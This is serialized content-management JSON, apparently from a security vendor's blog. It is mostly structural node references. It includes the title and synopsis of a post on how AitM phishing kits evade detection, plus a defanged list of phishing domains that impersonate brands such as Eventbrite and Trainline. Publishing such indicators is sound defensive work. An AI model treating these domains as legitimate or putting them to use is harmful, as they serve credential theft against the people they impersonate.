campaign:",{"data":142822,"content":142823,"nodeType":866},{},[142824],{"data":142825,"marks":142826,"value":142828,"nodeType":865},{},[142827],{"type":70418},"226028cc[.]502f135e3e036e726fba22d4[.]workers[.]dev\nacevoorgukmembership[.]buzz\nalerteditorroyalsocietyorgnz[.]buzz\nandymarshallsgeniuslocidigestghostiomghostio[.]buzz\nblogresponseinsperitycom[.]buzz\ncampaigneventbritecomnoreply[.]buzz\ncharityexcellencer1technologytrustnewsorg[.]buzz\nclerkenwelldesignweekcomnoreply[.]buzz\nconfirminfothetrainlinecomauto[.]buzz\nhealthestatejournalcomnoreply[.]buzz\nmentalhealthdesignandbuildcomnoreply[.]buzz\nnoreplynotificationswhoopcom[.]buzz\nstepexhibitionscomeventsupport[.]buzz\ntheathletice1theathleticcom[.]buzz\nthekakahoonssubstackcom[.]buzz","How AitM phishing kits evade detection","Taking a closer look at the steps that AitM phishing kits take to hide from the prying eyes of security teams and threat intelligence vendors.","2024-07-23T00:00:00.000Z","how-aitm-phishing-kits-evade-detection",{"items":142834},[142835,142837],{"sys":142836,"name":342},{"id":4642},{"sys":142838,"name":7796},{"id":7795},{"items":142840},[142841],{"fullName":11421,"firstName":11422,"jobTitle":11423,"profilePicture":142842},{"url":11425},{"__typename":1429,"sys":142844,"content":142845,"title":132583,"synopsis":132584,"hashTags":59,"publishedDate":132585,"slug":132586,"tagsCollection":143848,"authorsCollection":143854},{"id":131415},{"json":142846},{"data":142847,"content":142848,"nodeType":1382},{},[142849,142855,142902,142908,142911,142917,142923,142949,142959,142962,142968,142978,142984,143000,143005,143021,143027,143037,143054,143070,143076,143092,143097,143113,143116,143122,143129,143135,143151,143167,143173,143189,143195,143202,143223,143229,143245,143262,143267,143273,143289,143292,143298,143314,143330,143336,143384,143390,143393,143399,143406,143422,143438,143444,143451,143457,143474,143480,143486,143491,143496,143499,143505,143512,143518,143534,143543,143559,143565,143571,143580,143587,143593,143610,143615,143618,143624,143630,143636,143697,143703,143709,143715,143722,143739,143745,143750,143760,143777,143783,143790,143807,143813,143819,143824,143827,143833],{"data":142850,"content":142851,"nodeType":866},{},[142852],{"data":142853,"marks":142854,"value":131426,"nodeType":865},{},[],{"data":142856,"content":142857,"nodeType":1616},{},[142858,142874,142883],{"data":142859,"content":142860,"nodeType":1570},{},[142861],{"data":142862,"content":142863,"nodeType":866},{},[142864,142867,142871],{"data":142865,"marks":142866,"value":131439,"nodeType":865},{},[],{"data":142868,"marks":142869,"value":131444,"nodeType":865},{},[142870],{"type":898},{"data":142872,"marks":142873,"value":131448,"nodeType":865},{},[],{"data":142875,"content":142876,"nodeType":1570},{},[142877],{"data":142878,"content":142879,"nodeType":866},{},[142880],{"data":142881,"marks":142882,"value":131458,"nodeType":865},{},[],{"data":142884,"content":142885,"nodeType":1570},{},[142886],{"data":142887,"content":142888,"nodeType":866},{},[142889,142892,142899],{"data":142890,"marks":142891,"value":131468,"nodeType":865},{},[],{"data":142893,"content":142894,"nodeType":889},{"uri":131471},[142895],{"data":142896,"marks":142897,"value":131477,"nodeType":865},{},[142898],{"type":943},{"data":142900,"marks":142901,"value":131481,"nodeType":865},{},[],{"data":142903,"content":142904,"nodeType":866},{},[142905],{"data":142906,"marks":142907,"value":131488,"nodeType":865},{},[],{"data":142909,"content":142910,"nodeType":972},{},[],{"data":142912,"content":142913,"nodeType":981},{},[142914],{"data":142915,"marks":142916,"value":131498,"nodeType":865},{},[],{"data":142918,"content":142919,"nodeType":866},{},[142920],{"data":142921,"marks":142922,"value":131505,"nodeType":865},{},[],{"data":142924,"content":142925,"nodeType":866},{},[142926,142929,142936,142939,142946],{"data":142927,"marks":142928,"value":131512,"nodeType":865},{},[],{"data":142930,"content":142931,"nodeType":889},{"uri":131515},[142932],{"data":142933,"marks":142934,"value":131521,"nodeType":865},{},[142935],{"type":943},{"data":142937,"marks":142938,"value":131525,"nodeType":865},{},[],{"data":142940,"content":142941,"nodeType":889},{"uri":131528},[142942],{"data":142943,"marks":142944,"value":131534,"nodeType":865},{},[142945],{"type":943},{"data":142947,"marks":142948,"value":131538,"nodeType":865},{},[],{"data":142950,"content":142951,"nodeType":866},{},[142952,142955],{"data":142953,"marks":142954,"value":131545,"nodeType":865},{},[],{"data":142956,"marks":142957,"value":131550,"nodeType":865},{},[142958],{"type":926},{"data":142960,"content":142961,"nodeType":972},{},[],{"data":142963,"content":142964,"nodeType":981},{},[142965],{"data":142966,"marks":142967,"value":131560,"nodeType":865},{},[],{"data":142969,"content":142970,"nodeType":1317},{},[142971,142975],{"data":142972,"marks":142973,"value":131568,"nodeType":865},{},[142974],{"type":926},{"data":142976,"marks":142977,"value":2688,"nodeType":865},{},[],{"data":142979,"content":142980,"nodeType":866},{},[142981],{"data":142982,"marks":142983,"value":131578,"nodeType":865},{},[],{"data":142985,"content":142986,"nodeType":866},{},[142987,142990,142997],{"data":142988,"marks":142989,"value":131585,"nodeType":865},{},[],{"data":142991,"content":142992,"nodeType":889},{"uri":82201},[142993],{"data":142994,"marks":142995,"value":131593,"nodeType":865},{},[142996],{"type":943},{"data":142998,"marks":142999,"value":131597,"nodeType":865},{},[],{"data":143001,"content":143004,"nodeType":912},{"target":143002},{"sys":143003},{"id":131602,"type":909,"linkType":910},[],{"data":143006,"content":143007,"nodeType":866},{},[143008,143011,143018],{"data":143009,"marks":143010,"value":131610,"nodeType":865},{},[],{"data":143012,"content":143013,"nodeType":889},{"uri":131613},[143014],{"data":143015,"marks":143016,"value":131619,"nodeType":865},{},[143017],{"type":943},{"data":143019,"marks":143020,"value":131623,"nodeType":865},{},[],{"data":143022,"content":143023,"nodeType":866},{},[143024],{"data":143025,"marks":143026,"value":131630,"nodeType":865},{},[],{"data":143028,"content":143029,"nodeType":1317},{},[143030,143034],{"data":143031,"marks":143032,"value":79801,"nodeType":865},{},[143033],{"type":926},{"data":143035,"marks":143036,"value":2688,"nodeType":865},{},[],{"data":143038,"content":143039,"nodeType":866},{},[143040,143043,143051],{"data":143041,"marks":143042,"value":131647,"nodeType":865},{},[],{"data":143044,"content":143045,"nodeType":889},{"uri":67859},[143046],{"data":143047,"marks":143048,"value":131656,"nodeType":865},{},[143049,143050],{"type":943},{"type":926},{"data":143052,"marks":143053,"value":131660,"nodeType":865},{},[],{"data":143055,"content":143056,"nodeType":866},{},[143057,143060,143067],{"data":143058,"marks":143059,"value":131667,"nodeType":865},{},[],{"data":143061,"content":143062,"nodeType":889},{"uri":131670},[143063],{"data":143064,"marks":143065,"value":131676,"nodeType":865},{},[143066],{"type":943},{"data":143068,"marks":143069,"value":131680,"nodeType":865},{},[],{"data":143071,"content":143072,"nodeType":866},{},[143073],{"data":143074,"marks":143075,"value":131687,"nodeType":865},{},[],{"data":143077,"content":143078,"nodeType":866},{},[143079,143082,143089],{"data":143080,"marks":143081,"value":131694,"nodeType":865},{},[],{"data":143083,"content":143084,"nodeType":889},{"uri":6698},[143085],{"data":143086,"marks":143087,"value":131702,"nodeType":865},{},[143088],{"type":943},{"data":143090,"marks":143091,"value":131706,"nodeType":865},{},[],{"data":143093,"content":143096,"nodeType":912},{"target":143094},{"sys":143095},{"id":131711,"type":909,"linkType":910},[],{"data":143098,"content":143099,"nodeType":866},{},[143100,143103,143110],{"data":143101,"marks":143102,"value":131719,"nodeType":865},{},[],{"data":143104,"content":143105,"nodeType":889},{"uri":131722},[143106],{"data":143107,"marks":143108,"value":131728,"nodeType":865},{},[143109],{"type":943},{"data":143111,"marks":143112,"value":131732,"nodeType":865},{},[],{"data":143114,"content":143115,"nodeType":972},{},[],{"data":143117,"content":143118,"nodeType":981},{},[143119],{"data":143120,"marks":143121,"value":131742,"nodeType":865},{},[],{"data":143123,"content":143124,"nodeType":1317},{},[143125],{"data":143126,"marks":143127,"value":131568,"nodeType":865},{},[143128],{"type":926},{"data":143130,"content":143131,"nodeType":866},{},[143132],{"data":143133,"marks":143134,"value":131756,"nodeType":865},{},[],{"data":143136,"content":143137,"nodeType":866},{},[143138,143141,143148],{"data":143139,"marks":143140,"value":131763,"nodeType":865},{},[],{"data":143142,"content":143143,"nodeType":889},{"uri":54386},[143144],{"data":143145,"marks":143146,"value":131771,"nodeType":865},{},[143147],{"type":943},{"data":143149,"marks":143150,"value":131775,"nodeType":865},{},[],{"data":143152,"content":143153,"nodeType":866},{},[143154,143157,143164],{"data":143155,"marks":143156,"value":131782,"nodeType":865},{},[],{"data":143158,"content":143159,"nodeType":889},{"uri":131785},[143160],{"data":143161,"marks":143162,"value":8641,"nodeType":865},{},[143163],{"type":943},{"data":143165,"marks":143166,"value":46245,"nodeType":865},{},[],{"data":143168,"content":143169,"nodeType":866},{},[143170],{"data":143171,"marks":143172,"value":131800,"nodeType":865},{},[],{"data":143174,"content":143175,"nodeType":866},{},[143176,143179,143186],{"data":143177,"marks":143178,"value":131807,"nodeType":865},{},[],{"data":143180,"content":143181,"nodeType":889},{"uri":131810},[143182],{"data":143183,"marks":143184,"value":131816,"nodeType":865},{},[143185],{"type":943},{"data":143187,"marks":143188,"value":131820,"nodeType":865},{},[],{"data":143190,"content":143191,"nodeType":866},{},[143192],{"data":143193,"marks":143194,"value":131827,"nodeType":865},{},[],{"data":143196,"content":143197,"nodeType":1317},{},[143198],{"data":143199,"marks":143200,"value":79801,"nodeType":865},{},[143201],{"type":926},{"data":143203,"content":143204,"nodeType":866},{},[143205,143208,143216,143220],{"data":143206,"marks":143207,"value":131841,"nodeType":865},{},[],{"data":143209,"content":143210,"nodeType":889},{"uri":131844},[143211],{"data":143212,"marks":143213,"value":131851,"nodeType":865},{},[143214,143215],{"type":943},{"type":926},{"data":143217,"marks":143218,"value":131856,"nodeType":865},{},[143219],{"type":926},{"data":143221,"marks":143222,"value":14251,"nodeType":865},{},[],{"data":143224,"content":143225,"nodeType":866},{},[143226],{"data":143227,"marks":143228,"value":131866,"nodeType":865},{},[],{"data":143230,"content":143231,"nodeType":866},{},[143232,143235,143242],{"data":143233,"marks":143234,"value":131873,"nodeType":865},{},[],{"data":143236,"content":143237,"nodeType":889},{"uri":131876},[143238],{"data":143239,"marks":143240,"value":4793,"nodeType":865},{},[143241],{"type":943},{"data":143243,"marks":143244,"value":131885,"nodeType":865},{},[],{"data":143246,"content":143247,"nodeType":866},{},[143248,143251,143259],{"data":143249,"marks":143250,"value":131892,"nodeType":865},{},[],{"data":143252,"content":143253,"nodeType":889},{"uri":131895},[143254],{"data":143255,"marks":143256,"value":131902,"nodeType":865},{},[143257,143258],{"type":943},{"type":926},{"data":143260,"marks":143261,"value":131906,"nodeType":865},{},[],{"data":143263,"content":143266,"nodeType":912},{"target":143264},{"sys":143265},{"id":131911,"type":909,"linkType":910},[],{"data":143268,"content":143269,"nodeType":866},{},[143270],{"data":143271,"marks":143272,"value":131919,"nodeType":865},{},[],{"data":143274,"content":143275,"nodeType":866},{},[143276,143279,143286],{"data":143277,"marks":143278,"value":131926,"nodeType":865},{},[],{"data":143280,"content":143281,"nodeType":889},{"uri":110363},[143282],{"data":143283,"marks":143284,"value":131934,"nodeType":865},{},[143285],{"type":943},{"data":143287,"marks":143288,"value":131938,"nodeType":865},{},[],{"data":143290,"content":143291,"nodeType":972},{},[],{"data":143293,"content":143294,"nodeType":981},{},[143295],{"data":143296,"marks":143297,"value":131948,"nodeType":865},{},[],{"data":143299,"content":143300,"nodeType":866},{},[143301,143304,143311],{"data":143302,"marks":143303,"value":131955,"nodeType":865},{},[],{"data":143305,"content":143306,"nodeType":889},{"uri":4147},[143307],{"data":143308,"marks":143309,"value":53721,"nodeType":865},{},[143310],{"type":943},{"data":143312,"marks":143313,"value":1615,"nodeType":865},{},[],{"data":143315,"content":143316,"nodeType":866},{},[143317,143320,143327],{"data":143318,"marks":143319,"value":131972,"nodeType":865},{},[],{"data":143321,"content":143322,"nodeType":889},{"uri":3488},[143323],{"data":143324,"marks":143325,"value":131980,"nodeType":865},{},[143326],{"type":943},{"data":143328,"marks":143329,"value":131984,"nodeType":865},{},[],{"data":143331,"content":143332,"nodeType":866},{},[143333],{"data":143334,"marks":143335,"value":131991,"nodeType":865},{},[],{"data":143337,"content":143338,"nodeType":1616},{},[143339,143348,143357,143366,143375],{"data":143340,"content":143341,"nodeType":1570},{},[143342],{"data":143343,"content":143344,"nodeType":866},{},[143345],{"data":143346,"marks":143347,"value":132004,"nodeType":865},{},[],{"data":143349,"content":143350,"nodeType":1570},{},[143351],{"data":143352,"content":143353,"nodeType":866},{},[143354],{"data":143355,"marks":143356,"value":132014,"nodeType":865},{},[],{"data":143358,"content":143359,"nodeType":1570},{},[143360],{"data":143361,"content":143362,"nodeType":866},{},[143363],{"data":143364,"marks":143365,"value":132024,"nodeType":865},{},[],{"data":143367,"content":143368,"nodeType":1570},{},[143369],{"data":143370,"content":143371,"nodeType":866},{},[143372],{"data":143373,"marks":143374,"value":132034,"nodeType":865},{},[],{"data":143376,"content":143377,"nodeType":1570},{},[143378],{"data":143379,"content":143380,"nodeType":866},{},[143381],{"data":143382,"marks":143383,"value":132044,"nodeType":865},{},[],{"data":143385,"content":143386,"nodeType":866},{},[143387],{"data":143388,"marks":143389,"value":132051,"nodeType":865},{},[],{"data":143391,"content":143392,"nodeType":972},{},[],{"data":143394,"content":143395,"nodeType":981},{},[143396],{"data":143397,"marks":143398,"value":132061,"nodeType":865},{},[],{"data":143400,"content":143401,"nodeType":1317},{},[143402],{"data":143403,"marks":143404,"value":131568,"nodeType":865},{},[143405],{"type":926},{"data":143407,"content":143408,"nodeType":866},{},[143409,143412,143419],{"data":143410,"marks":143411,"value":21,"nodeType":865},{},[],{"data":143413,"content":143414,"nodeType":889},{"uri":132077},[143415],{"data":143416,"marks":143417,"value":132083,"nodeType":865},{},[143418],{"type":943},{"data":143420,"marks":143421,"value":132087,"nodeType":865},{},[],{"data":143423,"content":143424,"nodeType":866},{},[143425,143428,143435],{"data":143426,"marks":143427,"value":132094,"nodeType":865},{},[],{"data":143429,"content":143430,"nodeType":889},{"uri":132097},[143431],{"data":143432,"marks":143433,"value":132103,"nodeType":865},{},[143434],{"type":943},{"data":143436,"marks":143437,"value":132107,"nodeType":865},{},[],{"data":143439,"content":143440,"nodeType":866},{},[143441],{"data":143442,"marks":143443,"value":132114,"nodeType":865},{},[],{"data":143445,"content":143446,"nodeType":1317},{},[143447],{"data":143448,"marks":143449,"value":79801,"nodeType":865},{},[143450],{"type":926},{"data":143452,"content":143453,"nodeType":866},{},[143454],{"data":143455,"marks":143456,"value":132128,"nodeType":865},{},[],{"data":143458,"content":143459,"nodeType":866},{},[143460,143463,143471],{"data":143461,"marks":143462,"value":62364,"nodeType":865},{},[],{"data":143464,"content":143465,"nodeType":889},{"uri":62386},[143466],{"data":143467,"marks":143468,"value":132143,"nodeType":865},{},[143469,143470],{"type":943},{"type":926},{"data":143472,"marks":143473,"value":132147,"nodeType":865},{},[],{"data":143475,"content":143476,"nodeType":866},{},[143477],{"data":143478,"marks":143479,"value":132154,"nodeType":865},{},[],{"data":143481,"content":143482,"nodeType":866},{},[143483],{"data":143484,"marks":143485,"value":132161,"nodeType":865},{},[],{"data":143487,"content":143490,"nodeType":912},{"target":143488},{"sys":143489},{"id":123928,"type":909,"linkType":910},[],{"data":143492,"content":143495,"nodeType":912},{"target":143493},{"sys":143494},{"id":132171,"type":909,"linkType":910},[],{"data":143497,"content":143498,"nodeType":972},{},[],{"data":143500,"content":143501,"nodeType":981},{},[143502],{"data":143503,"marks":143504,"value":132182,"nodeType":865},{},[],{"data":143506,"content":143507,"nodeType":1317},{},[143508],{"data":143509,"marks":143510,"value":131568,"nodeType":865},{},[143511],{"type":926},{"data":143513,"content":143514,"nodeType":866},{},[143515],{"data":143516,"marks":143517,"value":132196,"nodeType":865},{},[],{"data":143519,"content":143520,"nodeType":866},{},[143521,143524,143531],{"data":143522,"marks":143523,"value":132203,"nodeType":865},{},[],{"data":143525,"content":143526,"nodeType":889},{"uri":132206},[143527],{"data":143528,"marks":143529,"value":132212,"nodeType":865},{},[143530],{"type":943},{"data":143532,"marks":143533,"value":132216,"nodeType":865},{},[],{"data":143535,"content":143536,"nodeType":7584},{},[143537],{"data":143538,"content":143539,"nodeType":866},{},[143540],{"data":143541,"marks":143542,"value":132226,"nodeType":865},{},[],{"data":143544,"content":143545,"nodeType":866},{},[143546,143549,143556],{"data":143547,"marks":143548,"value":132233,"nodeType":865},{},[],{"data":143550,"content":143551,"nodeType":889},{"uri":132077},[143552],{"data":143553,"marks":143554,"value":132241,"nodeType":865},{},[143555],{"type":943},{"data":143557,"marks":143558,"value":132245,"nodeType":865},{},[],{"data":143560,"content":143561,"nodeType":866},{},[143562],{"data":143563,"marks":143564,"value":132252,"nodeType":865},{},[],{"data":143566,"content":143567,"nodeType":866},{},[143568],{"data":143569,"marks":143570,"value":132259,"nodeType":865},{},[],{"data":143572,"content":143573,"nodeType":7584},{},[143574],{"data":143575,"content":143576,"nodeType":866},{},[143577],{"data":143578,"marks":143579,"value":132269,"nodeType":865},{},[],{"data":143581,"content":143582,"nodeType":1317},{},[143583],{"data":143584,"marks":143585,"value":79801,"nodeType":865},{},[143586],{"type":926},{"data":143588,"content":143589,"nodeType":866},{},[143590],{"data":143591,"marks":143592,"value":132283,"nodeType":865},{},[],{"data":143594,"content":143595,"nodeType":866},{},[143596,143599,143607],{"data":143597,"marks":143598,"value":132290,"nodeType":865},{},[],{"data":143600,"content":143601,"nodeType":889},{"uri":13526},[143602],{"data":143603,"marks":143604,"value":132299,"nodeType":865},{},[143605,143606],{"type":943},{"type":926},{"data":143608,"marks":143609,"value":132303,"nodeType":865},{},[],{"data":143611,"content":143614,"nodeType":912},{"target":143612},{"sys":143613},{"id":132308,"type":909,"linkType":910},[],{"data":143616,"content":143617,"nodeType":972},{},[],{"data":143619,"content":143620,"nodeType":981},{},[143621],{"data":143622,"marks":143623,"value":132319,"nodeType":865},{},[],{"data":143625,"content":143626,"nodeType":866},{},[143627],{"data":143628,"marks":143629,"value":132326,"nodeType":865},{},[],{"data":143631,"content":143632,"nodeType":866},{},[143633],{"data":143634,"marks":143635,"value":132333,"nodeType":865},{},[],{"data":143637,"content":143638,"nodeType":1616},{},[143639,143655,143671],{"data":143640,"content":143641,"nodeType":1570},{},[143642],{"data":143643,"content":143644,"nodeType":866},{},[143645,143648,143652],{"data":143646,"marks":143647,"value":132346,"nodeType":865},{},[],{"data":143649,"marks":143650,"value":132351,"nodeType":865},{},[143651],{"type":926},{"data":143653,"marks":143654,"value":132355,"nodeType":865},{},[],{"data":143656,"content":143657,"nodeType":1570},{},[143658],{"data":143659,"content":143660,"nodeType":866},{},[143661,143664,143668],{"data":143662,"marks":143663,"value":132365,"nodeType":865},{},[],{"data":143665,"marks":143666,"value":132370,"nodeType":865},{},[143667],{"type":926},{"data":143669,"marks":143670,"value":132374,"nodeType":865},{},[],{"data":143672,"content":143673,"nodeType":1570},{},[143674],{"data":143675,"content":143676,"nodeType":866},{},[143677,143680,143684,143687,143694],{"data":143678,"marks":143679,"value":132384,"nodeType":865},{},[],{"data":143681,"marks":143682,"value":132389,"nodeType":865},{},[143683],{"type":926},{"data":143685,"marks":143686,"value":132393,"nodeType":865},{},[],{"data":143688,"content":143689,"nodeType":889},{"uri":6710},[143690],{"data":143691,"marks":143692,"value":6715,"nodeType":865},{},[143693],{"type":943},{"data":143695,"marks":143696,"value":132404,"nodeType":865},{},[],{"data":143698,"content":143699,"nodeType":866},{},[143700],{"data":143701,"marks":143702,"value":132411,"nodeType":865},{},[],{"data":143704,"content":143705,"nodeType":866},{},[143706],{"data":143707,"marks":143708,"value":132418,"nodeType":865},{},[],{"data":143710,"content":143711,"nodeType":866},{},[143712],{"data":143713,"marks":143714,"value":132425,"nodeType":865},{},[],{"data":143716,"content":143717,"nodeType":1317},{},[143718],{"data":143719,"marks":143720,"value":132433,"nodeType":865},{},[143721],{"type":926},{"data":143723,"content":143724,"nodeType":866},{},[143725,143728,143736],{"data":143726,"marks":143727,"value":132440,"nodeType":865},{},[],{"data":143729,"content":143730,"nodeType":889},{"uri":132443},[143731],{"data":143732,"marks":143733,"value":132450,"nodeType":865},{},[143734,143735],{"type":943},{"type":926},{"data":143737,"marks":143738,"value":132454,"nodeType":865},{},[],{"data":143740,"content":143741,"nodeType":866},{},[143742],{"data":143743,"marks":143744,"value":132461,"nodeType":865},{},[],{"data":143746,"content":143749,"nodeType":912},{"target":143747},{"sys":143748},{"id":132466,"type":909,"linkType":910},[],{"data":143751,"content":143752,"nodeType":1317},{},[143753,143757],{"data":143754,"marks":143755,"value":132475,"nodeType":865},{},[143756],{"type":926},{"data":143758,"marks":143759,"value":2688,"nodeType":865},{},[],{"data":143761,"content":143762,"nodeType":866},{},[143763,143766,143774],{"data":143764,"marks":143765,"value":132485,"nodeType":865},{},[],{"data":143767,"content":143768,"nodeType":889},{"uri":132488},[143769],{"data":143770,"marks":143771,"value":132495,"nodeType":865},{},[143772,143773],{"type":943},{"type":926},{"data":143775,"marks":143776,"value":132499,"nodeType":865},{},[],{"data":143778,"content":143779,"nodeType":866},{},[143780],{"data":143781,"marks":143782,"value":132506,"nodeType":865},{},[],{"data":143784,"content":143785,"nodeType":1317},{},[143786],{"data":143787,"marks":143788,"value":132514,"nodeType":865},{},[143789],{"type":926},{"data":143791,"content":143792,"nodeType":866},{},[143793,143796,143804],{"data":143794,"marks":143795,"value":132521,"nodeType":865},{},[],{"data":143797,"content":143798,"nodeType":889},{"uri":132524},[143799],{"data":143800,"marks":143801,"value":58363,"nodeType":865},{},[143802,143803],{"type":943},{"type":926},{"data":143805,"marks":143806,"value":132534,"nodeType":865},{},[],{"data":143808,"content":143809,"nodeType":866},{},[143810],{"data":143811,"marks":143812,"value":132541,"nodeType":865},{},[],{"data":143814,"content":143815,"nodeType":866},{},[143816],{"data":143817,"marks":143818,"value":132548,"nodeType":865},{},[],{"data":143820,"content":143823,"nodeType":912},{"target":143821},{"sys":143822},{"id":132553,"type":909,"linkType":910},[],{"data":143825,"content":143826,"nodeType":972},{},[],{"data":143828,"content":143829,"nodeType":981},{},[143830],{"data":143831,"marks":143832,"value":132564,"nodeType":865},{},[],{"data":143834,"content":143835,"nodeType":866},{},[143836,143839,143845],{"data":143837,"marks":143838,"value":132571,"nodeType":865},{},[],{"data":143840,"content":143841,"nodeType":889},{"uri":16069},[143842],{"data":143843,"marks":143844,"value":132578,"nodeType":865},{},[],{"data":143846,"marks":143847,"value":132582,"nodeType":865},{},[],{"items":143849},[143850,143852],{"sys":143851,"name":342},{"id":4642},{"sys":143853,"name":297},{"id":2310},{"items":143855},[143856],{"fullName":6500,"firstName":6501,"jobTitle":4616,"profilePicture":143857},{"url":6503},{"__typename":1429,"sys":143859,"content":143860,"title":126026,"synopsis":126027,"hashTags":59,"publishedDate":126028,"slug":126029,"tagsCollection":144134,"authorsCollection":144140},{"id":125713},{"json":143861},{"data":143862,"content":143863,"nodeType":1382},{},[143864,143870,143886,143899,143905,143911,143914,143920,143926,143974,143980,143985,143988,143994,144000,144006,144012,144018,144032,144037,144043,144049,144063,144068,144074,144080,144086,144092,144098,144101,144107,144123,144128],{"data":143865,"content":143866,"nodeType":981},{},[143867],{"data":143868,"marks":143869,"value":125724,"nodeType":865},{},[],{"data":143871,"content":143872,"nodeType":866},{},[143873,143876,143883],{"data":143874,"marks":143875,"value":125731,"nodeType":865},{},[],{"data":143877,"content":143878,"nodeType":889},{"uri":4788},[143879],{"data":143880,"marks":143881,"value":125739,"nodeType":865},{},[143882],{"type":943},{"data":143884,"marks":143885,"value":14251,"nodeType":865},{},[],{"data":143887,"content":143888,"nodeType":866},{},[143889,143892,143896],{"data":143890,"marks":143891,"value":125749,"nodeType":865},{},[],{"data":143893,"marks":143894,"value":125754,"nodeType":865},{},[143895],{"type":943},{"data":143897,"marks":143898,"value":125758,"nodeType":865},{},[],{"data":143900,"content":143901,"nodeType":866},{},[143902],{"data":143903,"marks":143904,"value":125765,"nodeType":865},{},[],{"data":143906,"content":143907,"nodeType":866},{},[143908],{"data":143909,"marks":143910,"value":125772,"nodeType":865},{},[],{"data":143912,"content":143913,"nodeType":972},{},[],{"data":143915,"content":143916,"nodeType":1317},{},[143917],{"data":143918,"marks":143919,"value":125782,"nodeType":865},{},[],{"data":143921,"content":143922,"nodeType":866},{},[143923],{"data":143924,"marks":143925,"value":125789,"nodeType":865},{},[],{"data":143927,"content":143928,"nodeType":1616},{},[143929,143938,143947,143956,143965],{"data":143930,"content":143931,"nodeType":1570},{},[143932],{"data":143933,"content":143934,"nodeType":866},{},[143935],{"data":143936,"marks":143937,"value":125802,"nodeType":865},{},[],{"data":143939,"content":143940,"nodeType":1570},{},[143941],{"data":143942,"content":143943,"nodeType":866},{},[143944],{"data":143945,"marks":143946,"value":125812,"nodeType":865},{},[],{"data":143948,"content":143949,"nodeType":1570},{},[143950],{"data":143951,"content":143952,"nodeType":866},{},[143953],{"data":143954,"marks":143955,"value":125822,"nodeType":865},{},[],{"data":143957,"content":143958,"nodeType":1570},{},[143959],{"data":143960,"content":143961,"nodeType":866},{},[143962],{"data":143963,"marks":143964,"value":125832,"nodeType":865},{},[],{"data":143966,"content":143967,"nodeType":1570},{},[143968],{"data":143969,"content":143970,"nodeType":866},{},[143971],{"data":143972,"marks":143973,"value":125842,"nodeType":865},{},[],{"data":143975,"content":143976,"nodeType":866},{},[143977],{"data":143978,"marks":143979,"value":125849,"nodeType":865},{},[],{"data":143981,"content":143984,"nodeType":912},{"target":143982},{"sys":143983},{"id":125854,"type":909,"linkType":910},[],{"data":143986,"content":143987,"nodeType":972},{},[],{"data":143989,"content":143990,"nodeType":1317},{},[143991],{"data":143992,"marks":143993,"value":125865,"nodeType":865},{},[],{"data":143995,"content":143996,"nodeType":866},{},[143997],{"data":143998,"marks":143999,"value":125872,"nodeType":865},{},[],{"data":144001,"content":144002,"nodeType":866},{},[144003],{"data":144004,"marks":144005,"value":125879,"nodeType":865},{},[],{"data":144007,"content":144008,"nodeType":866},{},[144009],{"data":144010,"marks":144011,"value":125886,"nodeType":865},{},[],{"data":144013,"content":144014,"nodeType":866},{},[144015],{"data":144016,"marks":144017,"value":125893,"nodeType":865},{},[],{"data":144019,"content":144020,"nodeType":1317},{},[144021,144024,144029],{"data":144022,"marks":144023,"value":125900,"nodeType":865},{},[],{"data":144025,"marks":144026,"value":125906,"nodeType":865},{},[144027,144028],{"type":943},{"type":926},{"data":144030,"marks":144031,"value":125910,"nodeType":865},{},[],{"data":144033,"content":144036,"nodeType":912},{"target":144034},{"sys":144035},{"id":125915,"type":909,"linkType":910},[],{"data":144038,"content":144039,"nodeType":866},{},[144040],{"data":144041,"marks":144042,"value":125923,"nodeType":865},{},[],{"data":144044,"content":144045,"nodeType":866},{},[144046],{"data":144047,"marks":144048,"value":125930,"nodeType":865},{},[],{"data":144050,"content":144051,"nodeType":1317},{},[144052,144055,144060],{"data":144053,"marks":144054,"value":125937,"nodeType":865},{},[],{"data":144056,"marks":144057,"value":1745,"nodeType":865},{},[144058,144059],{"type":943},{"type":926},{"data":144061,"marks":144062,"value":125946,"nodeType":865},{},[],{"data":144064,"content":144067,"nodeType":912},{"target":144065},{"sys":144066},{"id":125951,"type":909,"linkType":910},[],{"data":144069,"content":144070,"nodeType":866},{},[144071],{"data":144072,"marks":144073,"value":125959,"nodeType":865},{},[],{"data":144075,"content":144076,"nodeType":866},{},[144077],{"data":144078,"marks":144079,"value":125966,"nodeType":865},{},[],{"data":144081,"content":144082,"nodeType":866},{},[144083],{"data":144084,"marks":144085,"value":125973,"nodeType":865},{},[],{"data":144087,"content":144088,"nodeType":866},{},[144089],{"data":144090,"marks":144091,"value":125980,"nodeType":865},{},[],{"data":144093,"content":144094,"nodeType":866},{},[144095],{"data":144096,"marks":144097,"value":125987,"nodeType":865},{},[],{"data":144099,"content":144100,"nodeType":972},{},[],{"data":144102,"content":144103,"nodeType":981},{},[144104],{"data":144105,"marks":144106,"value":105586,"nodeType":865},{},[],{"data":144108,"content":144109,"nodeType":866},{},[144110,144113,144120],{"data":144111,"marks":144112,"value":126003,"nodeType":865},{},[],{"data":144114,"content":144115,"nodeType":889},{"uri":16069},[144116],{"data":144117,"marks":144118,"value":105607,"nodeType":865},{},[144119],{"type":943},{"data":144121,"marks":144122,"value":113401,"nodeType":865},{},[],{"data":144124,"content":144127,"nodeType":912},{"target":144125},{"sys":144126},{"id":126018,"type":909,"linkType":910},[],{"data":144129,"content":144130,"nodeType":866},{},[144131],{"data":144132,"marks":144133,"value":21,"nodeType":865},{},[],{"items":144135},[144136,144138],{"sys":144137,"name":7796},{"id":7795},{"sys":144139,"name":342},{"id":4642},{"items":144141},[144142],{"fullName":4614,"firstName":4615,"jobTitle":4616,"profilePicture":144143},{"url":4618},"blog/why-its-time-for-phishing-prevention-to-move-beyond-email",{"json":144146},{"data":144147,"content":144148,"nodeType":1382},{},[144149],{"data":144150,"content":144151,"nodeType":866},{},[144152],{"data":144153,"marks":144154,"value":135318,"nodeType":865},{},[],{"id":134702,"publishedAt":144156},"2026-08-12T11:54:24.111Z",{"items":144158},[144159,144161],{"sys":144160,"name":7796},{"id":7795},{"sys":144162,"name":342},{"id":4642},{"items":144164},[144165,144167,144169,144171,144173,144175,144177,144179,144181,144183,144185,144187,144189,144191],{"sys":144166,"name":519,"slug":520,"tier":31},{"id":516},{"sys":144168,"name":279,"slug":280,"tier":31},{"id":276},{"sys":144170,"name":297,"slug":298,"tier":31},{"id":294},{"sys":144172,"name":342,"slug":343,"tier":31},{"id":339},{"sys":144174,"name":413,"slug":414,"tier":31},{"id":410},{"sys":144176,"name":261,"slug":262,"tier":45},{"id":258},{"sys":144178,"name":466,"slug":467,"tier":45},{"id":463},{"sys":144180,"name":475,"slug":476,"tier":45},{"id":472},{"sys":144182